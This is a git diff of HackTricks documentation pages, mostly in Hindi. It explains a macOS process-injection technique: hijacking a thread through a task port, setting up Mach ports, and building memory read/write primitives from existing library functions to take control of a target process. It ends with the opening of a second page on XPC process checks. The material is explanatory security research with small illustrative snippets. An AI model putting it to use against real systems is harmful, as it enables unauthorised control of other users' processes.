* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* अगर आप अपनी कंपनी का विज्ञापन **HackTricks** में देखना चाहते हैं या **HackTricks** को **PDF** में डाउनलोड करना चाहते हैं तो [**सब्सक्रिप्शन प्लान**](https://github.com/sponsors/carlospolop) देखें!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
|
||||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
|
||||||
* **जुड़ें** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) से या **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)** को** फॉलो करें।
|
|
||||||
* **अपने हैकिंग ट्रिक्स साझा करें, PRs सबमिट करके** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
## कोड
|
## Code
|
||||||
|
|
||||||
* [https://github.com/bazad/threadexec](https://github.com/bazad/threadexec)
|
* [https://github.com/bazad/threadexec](https://github.com/bazad/threadexec)
|
||||||
* [https://gist.github.com/knightsc/bd6dfeccb02b77eb6409db5601dcef36](https://gist.github.com/knightsc/bd6dfeccb02b77eb6409db5601dcef36)
|
* [https://gist.github.com/knightsc/bd6dfeccb02b77eb6409db5601dcef36](https://gist.github.com/knightsc/bd6dfeccb02b77eb6409db5601dcef36)
|
||||||
|
|
||||||
|
|
||||||
## 1. थ्रेड हाइजैकिंग
|
## 1. Thread Hijacking
|
||||||
|
|
||||||
पहले, दूरस्थ कार्य से थ्रेड सूची प्राप्त करने के लिए टास्क पोर्ट पर **`task_threads()`** फ़ंक्शन को आमंत्रित किया जाता है। थ्रेड को हाइजैक करने के लिए चयनित किया जाता है। यह दृष्टिकोण पारंपरिक कोड इंजेक्शन विधियों से भिन्न है क्योंकि नए मिटिगेशन द्वारा `thread_create_running()` को अवरुद्ध करने के कारण एक नया दूरस्थ थ्रेड बनाना निषिद्ध है।
|
शुरुआत में, **`task_threads()`** फ़ंक्शन को कार्य पोर्ट पर दूरस्थ कार्य से थ्रेड सूची प्राप्त करने के लिए लागू किया जाता है। एक थ्रेड को हाईजैकिंग के लिए चुना जाता है। यह दृष्टिकोण पारंपरिक कोड इंजेक्शन विधियों से भिन्न है क्योंकि नए माइटिगेशन के कारण नए दूरस्थ थ्रेड का निर्माण प्रतिबंधित है जो `thread_create_running()` को ब्लॉक करता है।
|
||||||
|
|
||||||
थ्रेड को नियंत्रित करने के लिए, **`thread_suspend()`** को कॉल किया जाता है, जिससे इसका निष्पादन रोक दिया जाता है।
|
थ्रेड को नियंत्रित करने के लिए, **`thread_suspend()`** को कॉल किया जाता है, जिससे इसकी निष्पादन रुक जाती है।
|
||||||
|
|
||||||
दूरस्थ थ्रेड पर केवल **रोकना** और **शुरू** करने, उसके रजिस्टर मानों को **प्राप्त** और **संशोधित** करने की अनुमति है। दूरस्थ कार्य को आरंभ करने के लिए रजिस्टर `x0` से `x7` को **आर्ग्यूमेंट्स** पर सेट करके, **`pc`** को लक्षित फ़ंक्शन पर सेट करके, और थ्रेड को सक्रिय करके दूरस्थ फ़ंक्शन कॉल आरंभ किए जाते हैं। वापसी के बाद थ्रेड क्रैश न होने की सुनिश्चित करने के लिए वापसी को पहचानना आवश्यक है।
|
दूरस्थ थ्रेड पर केवल **रोकना** और **शुरू करना**, **पंजीकरण मान** प्राप्त करना और **संशोधित करना** की अनुमति है। दूरस्थ फ़ंक्शन कॉल को रजिस्टर `x0` से `x7` को **आर्गुमेंट्स** पर सेट करके, **`pc`** को लक्षित फ़ंक्शन पर कॉन्फ़िगर करके, और थ्रेड को सक्रिय करके शुरू किया जाता है। यह सुनिश्चित करना कि थ्रेड रिटर्न के बाद क्रैश न हो, रिटर्न का पता लगाने की आवश्यकता होती है।
|
||||||
|
|
||||||
एक रणनीति में **दूरस्थ थ्रेड के लिए एक अपवाद हैंडलर रजिस्टर** करना `thread_set_exception_ports()` जिससे फ़ंक्शन कॉल से पहले `lr` रजिस्टर को एक अवैध पते पर सेट किया जाता है। इससे एक अपवाद फ़ंक्शन निष्पादन के बाद एक अपवाद पोर्ट को मैसेज भेजता है, जिससे थ्रेड की स्थिति की जांच की जा सकती है और वापसी मूल्य को पुनः प्राप्त किया जा सकता है। या फिर, इयान बीर के ट्रिपल_फेच धोखाधड़ी से अपनाया गया, `lr` को अनंतता से लूप करने के लिए सेट किया जाता है। फिर थ्रेड के रजिस्टरों को निरंतर निगरानी किया जाता है जब तक **`pc` उस निर्देश को निशानित करता है**।
|
एक रणनीति में दूरस्थ थ्रेड के लिए **एक्सेप्शन हैंडलर** को `thread_set_exception_ports()` का उपयोग करके पंजीकृत करना शामिल है, फ़ंक्शन कॉल से पहले `lr` रजिस्टर को एक अमान्य पते पर सेट करना। यह फ़ंक्शन निष्पादन के बाद एक अपवाद को ट्रिगर करता है, अपवाद पोर्ट पर एक संदेश भेजता है, थ्रेड की स्थिति की जांच करने की अनुमति देता है ताकि रिटर्न मान को पुनर्प्राप्त किया जा सके। वैकल्पिक रूप से, इयान बीयर के ट्रिपल\_फेच एक्सप्लॉइट से अपनाई गई विधि में, `lr` को अनंत लूप में सेट किया जाता है। थ्रेड के रजिस्टर को तब लगातार मॉनिटर किया जाता है जब तक **`pc` उस निर्देश की ओर इशारा नहीं करता**।
|
||||||
|
|
||||||
## 2. संचार के लिए मैक पोर्ट्स
|
## 2. Mach ports for communication
|
||||||
|
|
||||||
अगले चरण में, दूरस्थ थ्रेड के साथ संचार सुविधा स्थापित करने के लिए मैक पोर्ट्स स्थापित करना शामिल है। ये पोर्ट्स कार्यों के बीच विभिन्न भेजने और प्राप्त करने के लिए महत्वपूर्ण हैं।
|
अगले चरण में दूरस्थ थ्रेड के साथ संचार को सुविधाजनक बनाने के लिए Mach पोर्ट स्थापित करना शामिल है। ये पोर्ट कार्यों के बीच मनमाने भेजने और प्राप्त करने के अधिकारों को स्थानांतरित करने में महत्वपूर्ण हैं।
|
||||||
|
|
||||||
द्विदिशीय संचार के लिए, दो मैक प्राप्ति अधिकार बनाए जाते हैं: एक स्थानीय और दूरस्थ कार्य में। इसके बाद, प्रत्येक पोर्ट के लिए एक भेजने का अधिकार विपरीत कार्य में स्थानांतरित किया जाता है, संदेश विनिमय को सक्षम करते हैं।
|
द्विदिश संचार के लिए, दो Mach प्राप्त करने के अधिकार बनाए जाते हैं: एक स्थानीय में और दूसरा दूरस्थ कार्य में। इसके बाद, प्रत्येक पोर्ट के लिए एक भेजने का अधिकार समकक्ष कार्य में स्थानांतरित किया जाता है, जिससे संदेशों का आदान-प्रदान संभव होता है।
|
||||||
|
|
||||||
स्थानीय पोर्ट पर ध्यान केंद्रित है, स्थानीय कार्य द्वारा प्राप्ति अधिकार को धारण किया जाता है। पोर्ट `mach_port_allocate()` के साथ बनाया जाता है। चुनौती इसमें है कि इस पोर्ट में एक भेजने का अधिकार दूरस्थ कार्य में स्थानांतरित करना है।
|
स्थानीय पोर्ट पर ध्यान केंद्रित करते हुए, प्राप्त करने का अधिकार स्थानीय कार्य द्वारा रखा जाता है। पोर्ट को `mach_port_allocate()` के साथ बनाया जाता है। चुनौती इस पोर्ट के लिए एक भेजने के अधिकार को दूरस्थ कार्य में स्थानांतरित करने में है।
|
||||||
|
|
||||||
एक रणनीति शामिल है `thread_set_special_port()` का उपयोग करना, लोकल पोर्ट में एक भेजने का अधिकार रखने के लिए दूरस्थ थ्रेड के `THREAD_KERNEL_PORT` में। फिर, दूरस्थ थ्रेड को निर्देशित किया जाता है कि `mach_thread_self()` कॉल करें ताकि वह भेजने का अधिकार प्राप्त कर सके।
|
एक रणनीति में `thread_set_special_port()` का उपयोग करके दूरस्थ थ्रेड के `THREAD_KERNEL_PORT` में स्थानीय पोर्ट के लिए एक भेजने का अधिकार रखना शामिल है। फिर, दूरस्थ थ्रेड को `mach_thread_self()` को कॉल करने के लिए निर्देशित किया जाता है ताकि भेजने का अधिकार प्राप्त किया जा सके।
|
||||||
|
|
||||||
दूरस्थ पोर्ट के लिए, प्रक्रिया मूल रूप से उलट जाती है। दूरस्थ थ्रेड को निर्देशित किया जाता है कि `mach_reply_port()` के माध्यम से एक मैक पोर्ट उत्पन्न करें (क्योंकि `mach_port_allocate()` अपने वापसी तंत्र के कारण अनुचित है)। पोर्ट निर्माण के बाद, दूरस्थ थ्रेड में `mach_port_insert_right()` को आमंत्रित किया जाता है ताकि एक भेजने का अधिकार स्थापित हो सके। यह अधिकार फिर `thread_set_special_port()` का उपयोग करके कर्नल में छिपाया जाता है। स्थानीय कार्य में, दूरस्थ थ्रेड पर `thread_get_special_port()` का उपयोग किया जाता है ताकि दूरस्थ कार्य में नए निर्धारित मैक पोर्ट के लिए भेजने का अधिकार प्राप्त किया जा सके।
|
दूरस्थ पोर्ट के लिए, प्रक्रिया मूल रूप से उलट होती है। दूरस्थ थ्रेड को `mach_reply_port()` के माध्यम से एक Mach पोर्ट उत्पन्न करने के लिए निर्देशित किया जाता है (क्योंकि `mach_port_allocate()` इसकी रिटर्न मैकेनिज्म के कारण अनुपयुक्त है)। पोर्ट निर्माण के बाद, `mach_port_insert_right()` को दूरस्थ थ्रेड में एक भेजने का अधिकार स्थापित करने के लिए लागू किया जाता है। यह अधिकार फिर `thread_set_special_port()` का उपयोग करके कर्नेल में रखा जाता है। स्थानीय कार्य में वापस, `thread_get_special_port()` का उपयोग दूरस्थ कार्य में नए आवंटित Mach पोर्ट के लिए भेजने के अधिकार को प्राप्त करने के लिए किया जाता है।
|
||||||
|
|
||||||
इन कदमों के पूरा होने से मैक पोर्ट्स की स्थापना होती है, जो द्विदिशीय संचार के लिए आधार रखती है।
|
इन चरणों को पूरा करने से Mach पोर्ट स्थापित होते हैं, जो द्विदिश संचार के लिए आधार तैयार करते हैं।
|
||||||
|
|
||||||
## 3. मूल मेमोरी पठन/लेखन आधार
|
## 3. Basic Memory Read/Write Primitives
|
||||||
|
|
||||||
इस खंड में, कार्यान्वयन प्राथमिक मेमोरी पठन और लेखन आधार स्थापित करने के लिए एक्जीक्यूट प्राथमिक का उपयोग करने पर ध्यान केंद्रित है। ये प्रारंभिक कदम दूरस्थ प्रक्रिया पर अधिक नियंत्रण प्राप्त करने के लिए महत्वपूर्ण हैं, हालांकि इस स्थिति में प्राथमिक आधार बहुत सारे उद्देश्यों की सेवा नहीं करेंगे। जल्द ही, वे अधिक उन्नत संस्करणों में अपग्रेड किए जाएंगे।
|
इस अनुभाग में, बुनियादी मेमोरी पढ़ने और लिखने की प्राइमिटिव स्थापित करने के लिए निष्पादित प्राइमिटिव का उपयोग करने पर ध्यान केंद्रित किया गया है। ये प्रारंभिक कदम दूरस्थ प्रक्रिया पर अधिक नियंत्रण प्राप्त करने के लिए महत्वपूर्ण हैं, हालांकि इस चरण में प्राइमिटिव का बहुत अधिक उपयोग नहीं होगा। जल्द ही, उन्हें अधिक उन्नत संस्करणों में अपग्रेड किया जाएगा।
|
||||||
|
|
||||||
### एक्जीक्यूट प्राथमिक का उपयोग करके मेमोरी पठन और लेखन
|
### Memory Reading and Writing Using Execute Primitive
|
||||||
|
|
||||||
लक्ष्य है कि विशेष कार्यों का उपयोग करके मेमोरी पठन और लेखन किया जाए। मेमोरी पठन के लिए, निम्नलिखित संरचना की तुलना करने वाले फ़ंक्शन का उपयोग किया जाता है:
|
उद्देश्य विशिष्ट फ़ंक्शंस का उपयोग करके मेमोरी पढ़ने और लिखने का प्रदर्शन करना है। मेमोरी पढ़ने के लिए, निम्नलिखित संरचना के समान फ़ंक्शंस का उपयोग किया जाता है:
|
||||||
```c
|
```c
|
||||||
uint64_t read_func(uint64_t *address) {
|
uint64_t read_func(uint64_t *address) {
|
||||||
return *address;
|
return *address;
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
और मेमोरी में लेखन के लिए, इस संरचना के समान कार्यों का उपयोग किया जाता है:
|
और मेमोरी में लिखने के लिए, इस संरचना के समान फ़ंक्शन का उपयोग किया जाता है:
|
||||||
```c
|
```c
|
||||||
void write_func(uint64_t *address, uint64_t value) {
|
void write_func(uint64_t *address, uint64_t value) {
|
||||||
*address = value;
|
*address = value;
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
ये फ़ंक्शन दिए गए असेम्बली इंस्ट्रक्शंस के समान हैं:
|
ये फ़ंक्शन दिए गए असेंबली निर्देशों के अनुरूप हैं:
|
||||||
```
|
```
|
||||||
_read_func:
|
_read_func:
|
||||||
ldr x0, [x0]
|
ldr x0, [x0]
|
||||||
|
@ -73,71 +74,108 @@ ret
|
||||||
```
|
```
|
||||||
### उपयुक्त फ़ंक्शनों की पहचान
|
### उपयुक्त फ़ंक्शनों की पहचान
|
||||||
|
|
||||||
सामान्य पुस्तकालयों की जांच ने इन कार्रवाइयों के लिए उपयुक्त उम्मीदवारों को प्रकट किया:
|
सामान्य पुस्तकालयों का स्कैन इन संचालन के लिए उपयुक्त उम्मीदवारों का खुलासा करता है:
|
||||||
|
|
||||||
1. **मेमोरी पढ़ना:**
|
1. **मेमोरी पढ़ना:**
|
||||||
[Objective-C रनटाइम पुस्तकालय](https://opensource.apple.com/source/objc4/objc4-723/runtime/objc-runtime-new.mm.auto.html) से `property_getName()` फ़ंक्शन को मेमोरी पढ़ने के लिए एक उपयुक्त फ़ंक्शन के रूप में पहचाना गया है। नीचे फ़ंक्शन का विवरण दिया गया है:
|
`property_getName()` फ़ंक्शन [Objective-C रनटाइम पुस्तकालय](https://opensource.apple.com/source/objc4/objc4-723/runtime/objc-runtime-new.mm.auto.html) से मेमोरी पढ़ने के लिए एक उपयुक्त फ़ंक्शन के रूप में पहचाना गया है। फ़ंक्शन नीचे वर्णित है:
|
||||||
```c
|
```c
|
||||||
const char *property_getName(objc_property_t prop) {
|
const char *property_getName(objc_property_t prop) {
|
||||||
return prop->name;
|
return prop->name;
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
यह फ़ंक्शन पहले क्षेत्र को वापस करके `objc_property_t` का पहला फ़ील्ड लौटाते हुए कार्य करता है।
|
यह फ़ंक्शन प्रभावी रूप से `read_func` की तरह कार्य करता है, जो `objc_property_t` का पहला फ़ील्ड लौटाता है।
|
||||||
|
|
||||||
2. **मेमोरी लिखना:**
|
2. **मेमोरी लिखना:**
|
||||||
मेमोरी लिखने के लिए एक पूर्व-निर्मित फ़ंक्शन खोजना अधिक चुनौतीपूर्ण है। हालांकि, `libxpc` से `_xpc_int64_set_value()` फ़ंक्शन एक उपयुक्त उम्मीदवार है जिसका निम्नलिखित disassembly है:
|
मेमोरी लिखने के लिए एक पूर्व-निर्मित फ़ंक्शन खोजना अधिक चुनौतीपूर्ण है। हालाँकि, libxpc से `_xpc_int64_set_value()` फ़ंक्शन एक उपयुक्त उम्मीदवार है, जिसमें निम्नलिखित डिस्सेम्बली है:
|
||||||
```c
|
```c
|
||||||
__xpc_int64_set_value:
|
__xpc_int64_set_value:
|
||||||
str x1, [x0, #0x18]
|
str x1, [x0, #0x18]
|
||||||
ret
|
ret
|
||||||
```
|
```
|
||||||
एक विशिष्ट पते पर 64-बिट लेख करने के लिए, रिमोट कॉल का संरचना इस प्रकार है:
|
एक विशिष्ट पते पर 64-बिट लिखने के लिए, दूरस्थ कॉल को इस प्रकार संरचित किया जाता है:
|
||||||
```c
|
```c
|
||||||
_xpc_int64_set_value(address - 0x18, value)
|
_xpc_int64_set_value(address - 0x18, value)
|
||||||
```
|
```
|
||||||
## 4. साझा स्मृति सेटअप
|
With these primitives established, the stage is set for creating shared memory, marking a significant progression in controlling the remote process.
|
||||||
|
|
||||||
उद्देश्य स्थानीय और दूरस्थ कार्यों के बीच साझा स्मृति स्थापित करना है, डेटा स्थानांतरण को सरल बनाना और एकाधिक तर्कों के साथ फ़ंक्शन को बुलाना सुविधाजनक बनाना। इस दृष्टिकोण में `libxpc` और इसके `OS_xpc_shmem` ऑब्जेक्ट प्रकार का सहारा लेना शामिल है, जो माक मेमोरी एंट्रीज़ पर आधारित है।
|
## 4. साझा मेमोरी सेटअप
|
||||||
|
|
||||||
|
उद्देश्य स्थानीय और दूरस्थ कार्यों के बीच साझा मेमोरी स्थापित करना है, डेटा ट्रांसफर को सरल बनाना और कई तर्कों के साथ कार्यों को कॉल करने की सुविधा प्रदान करना है। यह दृष्टिकोण `libxpc` और इसके `OS_xpc_shmem` ऑब्जेक्ट प्रकार का उपयोग करता है, जो मच मेमोरी प्रविष्टियों पर आधारित है।
|
||||||
|
|
||||||
### प्रक्रिया अवलोकन:
|
### प्रक्रिया अवलोकन:
|
||||||
|
|
||||||
1. **स्मृति आवंटन**:
|
1. **मेमोरी आवंटन**:
|
||||||
- `mach_vm_allocate()` का उपयोग करके साझा करने के लिए स्मृति आवंटित करें।
|
- साझा करने के लिए मेमोरी आवंटित करें `mach_vm_allocate()` का उपयोग करके।
|
||||||
- आवंटित स्मृति क्षेत्र के लिए एक `OS_xpc_shmem` ऑब्ज
|
- आवंटित मेमोरी क्षेत्र के लिए `OS_xpc_shmem` ऑब्जेक्ट बनाने के लिए `xpc_shmem_create()` का उपयोग करें। यह फ़ंक्शन मच मेमोरी प्रविष्टि के निर्माण का प्रबंधन करेगा और `OS_xpc_shmem` ऑब्जेक्ट के ऑफसेट `0x18` पर मच भेजने का अधिकार संग्रहीत करेगा।
|
||||||
|
|
||||||
|
2. **दूरस्थ प्रक्रिया में साझा मेमोरी बनाना**:
|
||||||
|
- दूरस्थ प्रक्रिया में `OS_xpc_shmem` ऑब्जेक्ट के लिए मेमोरी आवंटित करें `malloc()` के लिए एक दूरस्थ कॉल के साथ।
|
||||||
|
- स्थानीय `OS_xpc_shmem` ऑब्जेक्ट की सामग्री को दूरस्थ प्रक्रिया में कॉपी करें। हालाँकि, यह प्रारंभिक कॉपी ऑफसेट `0x18` पर गलत मच मेमोरी प्रविष्टि नाम होगा।
|
||||||
|
|
||||||
|
3. **मच मेमोरी प्रविष्टि को सही करना**:
|
||||||
|
- दूरस्थ कार्य में मच मेमोरी प्रविष्टि के लिए एक भेजने के अधिकार को सम्मिलित करने के लिए `thread_set_special_port()` विधि का उपयोग करें।
|
||||||
|
- दूरस्थ मेमोरी प्रविष्टि के नाम के साथ इसे ओवरराइट करके ऑफसेट `0x18` पर मच मेमोरी प्रविष्टि फ़ील्ड को सही करें।
|
||||||
|
|
||||||
|
4. **साझा मेमोरी सेटअप को अंतिम रूप देना**:
|
||||||
|
- दूरस्थ `OS_xpc_shmem` ऑब्जेक्ट को मान्य करें।
|
||||||
|
- `xpc_shmem_remote()` के लिए एक दूरस्थ कॉल के साथ साझा मेमोरी मैपिंग स्थापित करें।
|
||||||
|
|
||||||
|
इन चरणों का पालन करके, स्थानीय और दूरस्थ कार्यों के बीच साझा मेमोरी को कुशलतापूर्वक सेट किया जाएगा, जिससे डेटा ट्रांसफर और कई तर्कों की आवश्यकता वाले कार्यों के निष्पादन की सुविधा मिलेगी।
|
||||||
|
|
||||||
|
## अतिरिक्त कोड स्निपेट्स
|
||||||
|
|
||||||
|
मेमोरी आवंटन और साझा मेमोरी ऑब्जेक्ट निर्माण के लिए:
|
||||||
```c
|
```c
|
||||||
mach_vm_allocate();
|
mach_vm_allocate();
|
||||||
xpc_shmem_create();
|
xpc_shmem_create();
|
||||||
```
|
```
|
||||||
दूरस्थ प्रक्रिया में साझा स्मृति वस्तु बनाने और सुधारित करने के लिए:
|
रिमोट प्रोसेस में साझा मेमोरी ऑब्जेक्ट बनाने और सुधारने के लिए:
|
||||||
```c
|
```c
|
||||||
malloc(); // for allocating memory remotely
|
malloc(); // for allocating memory remotely
|
||||||
thread_set_special_port(); // for inserting send right
|
thread_set_special_port(); // for inserting send right
|
||||||
```
|
```
|
||||||
|
याद रखें कि साझा मेमोरी सेटअप को सही ढंग से कार्य करने के लिए Mach पोर्ट और मेमोरी एंट्री नामों के विवरण को सही तरीके से संभालें।
|
||||||
|
|
||||||
## 5. पूर्ण नियंत्रण प्राप्त करना
|
## 5. पूर्ण नियंत्रण प्राप्त करना
|
||||||
|
|
||||||
साझा मेमोरी स्थापित करने और विचारशील क्रियान्वयन क्षमताओं को प्राप्त करने पर सफलतापूर्वक, हमने मुख्य रूप से लक्ष्य प्रक्रिया पर पूर्ण नियंत्रण प्राप्त कर लिया है। इस नियंत्रण को संभालने वाले महत्वपूर्ण कार्यक्षमताएँ हैं:
|
साझा मेमोरी स्थापित करने और मनमाने निष्पादन क्षमताओं को प्राप्त करने में सफल होने पर, हमने मूल रूप से लक्षित प्रक्रिया पर पूर्ण नियंत्रण प्राप्त कर लिया है। इस नियंत्रण को सक्षम करने वाली मुख्य कार्यक्षमताएँ हैं:
|
||||||
|
|
||||||
1. **विचारशील मेमोरी परिचालन**:
|
1. **मनमानी मेमोरी संचालन**:
|
||||||
- साझा क्षेत्र से डेटा कॉपी करने के लिए `memcpy()` को आह्वान करके विचारशील मेमोरी पढ़ें।
|
- साझा क्षेत्र से डेटा कॉपी करने के लिए `memcpy()` को कॉल करके मनमानी मेमोरी पढ़ें।
|
||||||
- साझा क्षेत्र में डेटा स्थानांतरित करने के लिए `memcpy()` का उपयोग करके विचारशील मेमोरी लिखें।
|
- साझा क्षेत्र में डेटा स्थानांतरित करने के लिए `memcpy()` का उपयोग करके मनमानी मेमोरी लिखें।
|
||||||
|
|
||||||
2. **एकाधिक तर्कों के साथ कार्य को संभालना**:
|
2. **कई तर्कों के साथ फ़ंक्शन कॉल को संभालना**:
|
||||||
- 8 से अधिक तर्कों की आवश्यकता होने पर, कॉलिंग कन्वेंशन के अनुसार अतिरिक्त तर्कों को स्टैक पर व्यवस्थित करें।
|
- उन फ़ंक्शनों के लिए जो 8 से अधिक तर्कों की आवश्यकता होती है, कॉलिंग कन्वेंशन के अनुपालन में अतिरिक्त तर्कों को स्टैक पर व्यवस्थित करें।
|
||||||
|
|
||||||
3. **Mach पोर्ट स्थानांतरण**:
|
3. **Mach पोर्ट स्थानांतरण**:
|
||||||
- पहले स्थापित पोर्ट के माध्यम से Mach संदेशों के माध्यम से कार्यों के बीच Mach पोर्ट स्थानांतरित करें।
|
- पूर्व में स्थापित पोर्ट के माध्यम से Mach संदेशों के माध्यम से कार्यों के बीच Mach पोर्ट स्थानांतरित करें।
|
||||||
|
|
||||||
4. **फ़ाइल डिस्क्रिप्टर स्थानांतरण**:
|
4. **फाइल डिस्क्रिप्टर स्थानांतरण**:
|
||||||
- `triple_fetch` में उजागर किए गए तकनीक फाइलपोर्ट्स का उपयोग करके प्रक्रियाओं के बीच फ़ाइल डिस्क्रिप्टर स्थानांतरण करें।
|
- `triple_fetch` में Ian Beer द्वारा उजागर की गई तकनीक का उपयोग करके प्रक्रियाओं के बीच फाइल डिस्क्रिप्टर स्थानांतरित करें।
|
||||||
|
|
||||||
यह व्यापक नियंत्रण [threadexec](https://github.com/bazad/threadexec) पुस्तकालय में समाहित है, जो उपकरण प्रक्रिया के साथ विवेकपूर्ण स्तर पर नियंत्रण प्राप्त करने के लिए एक विस्तृत कार्यान्वयन और उपयोगकर्ता-मित्र API प्रदान करता है।
|
यह व्यापक नियंत्रण [threadexec](https://github.com/bazad/threadexec) पुस्तकालय के भीतर संकुचित है, जो पीड़ित प्रक्रिया के साथ बातचीत के लिए एक विस्तृत कार्यान्वयन और उपयोगकर्ता के अनुकूल API प्रदान करता है।
|
||||||
|
|
||||||
## महत्वपूर्ण विचार:
|
## महत्वपूर्ण विचार:
|
||||||
|
|
||||||
- सिस्टम स्थिरता और डेटा अखंडता बनाए रखने के लिए मेमोरी पढ़ने/लिखने के लिए `memcpy()` का उचित उपयोग सुनिश्चित करें।
|
- सिस्टम स्थिरता और डेटा अखंडता बनाए रखने के लिए मेमोरी पढ़ने/लिखने के संचालन के लिए `memcpy()` का सही उपयोग सुनिश्चित करें।
|
||||||
- Mach पोर्ट या फ़ाइल डिस्क्रिप्टर स्थानांतरण करते समय, उचित प्रोटोकॉल का पालन करें और संसाधनों को जिम्मेदारीपूर्वक संभालने के लिए संसाधनों को लीक या अनहेतु पहुंच से बचाने के लिए।
|
- Mach पोर्ट या फाइल डिस्क्रिप्टर स्थानांतरित करते समय, उचित प्रोटोकॉल का पालन करें और रिसोर्सेस को जिम्मेदारी से संभालें ताकि लीक या अनपेक्षित पहुंच से बचा जा सके।
|
||||||
|
|
||||||
इन दिशानिर्देशों का पालन करके और `threadexec` पुस्तकालय का उपयोग करके, व्यक्ति लक्षित प्रक्रिया पर पूर्ण नियंत्रण प्राप्त करने के लिए प्रक्रियाओं का प्रबंधन और अंतर्क्रिया कर सकता है।
|
इन दिशानिर्देशों का पालन करके और `threadexec` पुस्तकालय का उपयोग करके, कोई भी प्रक्रियाओं के साथ सूक्ष्म स्तर पर प्रभावी ढंग से प्रबंधित और बातचीत कर सकता है, लक्षित प्रक्रिया पर पूर्ण नियंत्रण प्राप्त कर सकता है।
|
||||||
|
|
||||||
## संदर्भ
|
## संदर्भ
|
||||||
* [https://bazad.github.io/2018/10/bypassing-platform-binary-task-threads/](https://bazad.github.io/2018/10/bypassing-platform-binary-task-threads/)
|
* [https://bazad.github.io/2018/10/bypassing-platform-binary-task-threads/](https://bazad.github.io/2018/10/bypassing-platform-binary-task-threads/)
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,48 +1,49 @@
|
||||||
# macOS XPC कनेक्टिंग प्रोसेस चेक
|
# macOS XPC कनेक्टिंग प्रोसेस चेक
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
सीखें और प्रैक्टिस करें AWS हैकिंग:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
सीखें और प्रैक्टिस करें GCP हैकिंग: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert) के साथ शून्य से नायक तक AWS हैकिंग सीखें</strong></a><strong>!</strong></summary>
|
<summary>HackTricks का समर्थन करें</summary>
|
||||||
|
|
||||||
HackTricks का समर्थन करने के अन्य तरीके:
|
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) चेक करें!
|
||||||
|
* **शामिल हों** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।**
|
||||||
* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
* हैकिंग ट्रिक्स साझा करें और [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
|
||||||
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
|
||||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
|
|
||||||
* 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram group**](https://t.me/peass) में या **Twitter** पर मुझे 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) **का अनुसरण करें**.
|
|
||||||
